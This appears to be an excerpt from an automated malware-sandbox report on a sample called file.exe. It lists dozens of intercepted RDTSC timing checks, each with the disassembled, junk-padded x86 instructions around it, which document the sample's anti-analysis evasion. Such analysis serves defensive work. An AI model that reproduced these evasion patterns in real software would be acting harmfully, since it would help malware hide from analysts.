Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE4137 second address: CE4164 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F5930C603FDh 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F5930C60408h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE4164 second address: CE4187 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5930BD3389h 0x00000009 jl 00007F5930BD3376h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE4187 second address: CE418B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE42D4 second address: CE42E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F5930BD3376h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE42E0 second address: CE42E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE90D7 second address: CE90E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5930BD337Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE90E5 second address: CE9145 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007F5930C603F6h 0x00000009 push edi 0x0000000a pop edi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f jmp 00007F5930C60404h 0x00000014 mov eax, dword ptr [esp+04h] 0x00000018 jmp 00007F5930C60404h 0x0000001d mov eax, dword ptr [eax] 0x0000001f jmp 00007F5930C60409h 0x00000024 mov dword ptr [esp+04h], eax 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE9145 second address: CE9149 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE9149 second address: CE914D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE914D second address: CE9153 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE9153 second address: CE915D instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F5930C603FCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE91ED second address: CE9209 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a jmp 00007F5930BD3381h 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE9209 second address: CE925D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5930C603FFh 0x00000008 jmp 00007F5930C60408h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 jns 00007F5930C60404h 0x0000001a mov eax, dword ptr [eax] 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F5930C603FBh 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE93EF second address: CE93F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE93F4 second address: CE9403 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE9403 second address: CE9416 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F5930BD3376h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f pushad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE9416 second address: CE9429 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F5930C603F6h 0x0000000a popad 0x0000000b jp 00007F5930C603FCh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE9429 second address: B1EA78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 jmp 00007F5930BD337Eh 0x0000000b push dword ptr [ebp+122D0009h] 0x00000011 stc 0x00000012 call dword ptr [ebp+122D234Dh] 0x00000018 pushad 0x00000019 pushad 0x0000001a mov ecx, 3CF5EB0Dh 0x0000001f mov eax, dword ptr [ebp+122D379Ch] 0x00000025 popad 0x00000026 jmp 00007F5930BD337Ch 0x0000002b xor eax, eax 0x0000002d pushad 0x0000002e add dword ptr [ebp+122D243Eh], eax 0x00000034 mov dword ptr [ebp+122D243Eh], edx 0x0000003a popad 0x0000003b mov edx, dword ptr [esp+28h] 0x0000003f jmp 00007F5930BD3389h 0x00000044 mov dword ptr [ebp+122D37ACh], eax 0x0000004a cmc 0x0000004b mov esi, 0000003Ch 0x00000050 cmc 0x00000051 add esi, dword ptr [esp+24h] 0x00000055 cmc 0x00000056 lodsw 0x00000058 jmp 00007F5930BD3380h 0x0000005d add eax, dword ptr [esp+24h] 0x00000061 jc 00007F5930BD337Eh 0x00000067 pushad 0x00000068 add ebx, dword ptr [ebp+122D395Ch] 0x0000006e popad 0x0000006f mov ebx, dword ptr [esp+24h] 0x00000073 jmp 00007F5930BD3389h 0x00000078 nop 0x00000079 jnc 00007F5930BD3395h 0x0000007f push eax 0x00000080 push ebx 0x00000081 push eax 0x00000082 push edx 0x00000083 push eax 0x00000084 push edx 0x00000085 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEA663 second address: CEA667 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEA667 second address: CEA680 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F5930BD3383h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEA680 second address: CEA685 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF0109 second address: CF010F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF09D3 second address: CF09EB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5930C60404h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF0B3D second address: CF0B44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF0B44 second address: CF0B5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5930C60404h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF0B5C second address: CF0B60 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF0CC1 second address: CF0CC5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF0DDE second address: CF0E01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5930BD3387h 0x00000009 push eax 0x0000000a push edx 0x0000000b ja 00007F5930BD3376h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF0E01 second address: CF0E15 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F5930C603F6h 0x00000008 jnc 00007F5930C603F6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF0F83 second address: CF0F8F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push edx 0x00000004 pop edx 0x00000005 push esi 0x00000006 pop esi 0x00000007 pop edx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF1242 second address: CF1246 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF1246 second address: CF1256 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jc 00007F5930BD3391h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF1256 second address: CF1279 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5930C60405h 0x00000009 push eax 0x0000000a push edx 0x0000000b jnl 00007F5930C603F6h 0x00000011 push edi 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFA561 second address: CFA565 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFA565 second address: CFA56F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFA56F second address: CFA588 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5930BD3385h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF9382 second address: CF9388 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF9388 second address: CF9391 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edi 0x00000007 pop edi 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF94BA second address: CF94C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF94C3 second address: CF94CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF94CE second address: CF94D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F5930C603F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF9A4A second address: CF9A4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF9A4E second address: CF9A62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F5930C603F6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push edx 0x0000000e pop edx 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF9E2E second address: CF9E34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF9E34 second address: CF9E38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF9F93 second address: CF9FAB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 jne 00007F5930BD338Ah 0x0000000f pushad 0x00000010 jns 00007F5930BD3376h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFA24B second address: CFA24F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8449E second address: C844AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jnp 00007F5930BD3376h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D01387 second address: D013B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F5930C603FCh 0x0000000c jnl 00007F5930C603F6h 0x00000012 jmp 00007F5930C60406h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D013B7 second address: D013C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5930BD337Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0152D second address: D0154A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5930C60407h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D016AC second address: D016B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D01837 second address: D0186D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5930C60409h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F5930C60407h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0186D second address: D01872 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D019D1 second address: D019D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D019D7 second address: D019DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D01DD1 second address: D01DE4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5930C603FFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D01DE4 second address: D01DEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D02240 second address: D02250 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F5930C603F6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D02250 second address: D0226A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 pushad 0x00000008 jno 00007F5930BD337Eh 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0226A second address: D0226E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0226E second address: D0228C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F5930BD3384h 0x0000000d push edi 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA7603 second address: CA7607 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA7607 second address: CA7622 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5930BD3387h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC123C second address: CC124E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push edi 0x0000000b pushad 0x0000000c popad 0x0000000d pop edi 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC124E second address: CC1252 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC1252 second address: CC12D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push edi 0x0000000b call 00007F5930C603F8h 0x00000010 pop edi 0x00000011 mov dword ptr [esp+04h], edi 0x00000015 add dword ptr [esp+04h], 00000014h 0x0000001d inc edi 0x0000001e push edi 0x0000001f ret 0x00000020 pop edi 0x00000021 ret 0x00000022 add dword ptr [ebp+122D2DC7h], edi 0x00000028 lea eax, dword ptr [ebp+12475FCCh] 0x0000002e push 00000000h 0x00000030 push edx 0x00000031 call 00007F5930C603F8h 0x00000036 pop edx 0x00000037 mov dword ptr [esp+04h], edx 0x0000003b add dword ptr [esp+04h], 00000017h 0x00000043 inc edx 0x00000044 push edx 0x00000045 ret 0x00000046 pop edx 0x00000047 ret 0x00000048 pushad 0x00000049 mov esi, dword ptr [ebp+122D2434h] 0x0000004f movzx edi, cx 0x00000052 popad 0x00000053 jnl 00007F5930C603FCh 0x00000059 nop 0x0000005a jg 00007F5930C60402h 0x00000060 push eax 0x00000061 pushad 0x00000062 push eax 0x00000063 push edx 0x00000064 pushad 0x00000065 popad 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC12D1 second address: CC12D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC13A5 second address: CC13A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC13A9 second address: CC13AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC13AF second address: CC13D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F5930C603FDh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f pushad 0x00000010 jmp 00007F5930C603FEh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC13D7 second address: CC13E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jo 00007F5930BD3376h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC196B second address: CC1971 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC1971 second address: CC1975 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC1975 second address: CC1A14 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a jnp 00007F5930C60400h 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 jmp 00007F5930C603FDh 0x00000019 pop eax 0x0000001a push 00000000h 0x0000001c push edx 0x0000001d call 00007F5930C603F8h 0x00000022 pop edx 0x00000023 mov dword ptr [esp+04h], edx 0x00000027 add dword ptr [esp+04h], 0000001Bh 0x0000002f inc edx 0x00000030 push edx 0x00000031 ret 0x00000032 pop edx 0x00000033 ret 0x00000034 pushad 0x00000035 mov si, ax 0x00000038 mov ecx, 2A59FEC0h 0x0000003d popad 0x0000003e jmp 00007F5930C60405h 0x00000043 mov cl, bh 0x00000045 call 00007F5930C603F9h 0x0000004a jmp 00007F5930C60407h 0x0000004f push eax 0x00000050 push eax 0x00000051 push edx 0x00000052 jc 00007F5930C603FCh 0x00000058 jno 00007F5930C603F6h 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC1A14 second address: CC1A42 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5930BD3384h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F5930BD337Eh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC1A42 second address: CC1A4C instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F5930C603F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC1A4C second address: CC1A89 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5930BD3383h 0x00000008 push eax 0x00000009 pop eax 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [eax] 0x0000000f jbe 00007F5930BD3383h 0x00000015 jmp 00007F5930BD337Dh 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 jnc 00007F5930BD3376h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC1F2B second address: CC1F64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 push 00000000h 0x0000000a push ebp 0x0000000b call 00007F5930C603F8h 0x00000010 pop ebp 0x00000011 mov dword ptr [esp+04h], ebp 0x00000015 add dword ptr [esp+04h], 00000018h 0x0000001d inc ebp 0x0000001e push ebp 0x0000001f ret 0x00000020 pop ebp 0x00000021 ret 0x00000022 mov di, ax 0x00000025 push 00000004h 0x00000027 or dword ptr [ebp+122D2F8Ah], esi 0x0000002d nop 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC1F64 second address: CC1F73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5930BD337Ah 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC1F73 second address: CC1F98 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F5930C60405h 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jo 00007F5930C603F6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC22C3 second address: CC22EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007F5930BD337Ah 0x00000011 jmp 00007F5930BD3381h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC2411 second address: CC241B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F5930C603F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC241B second address: CC241F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC266F second address: CC267B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC267B second address: CC2696 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5930BD3384h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
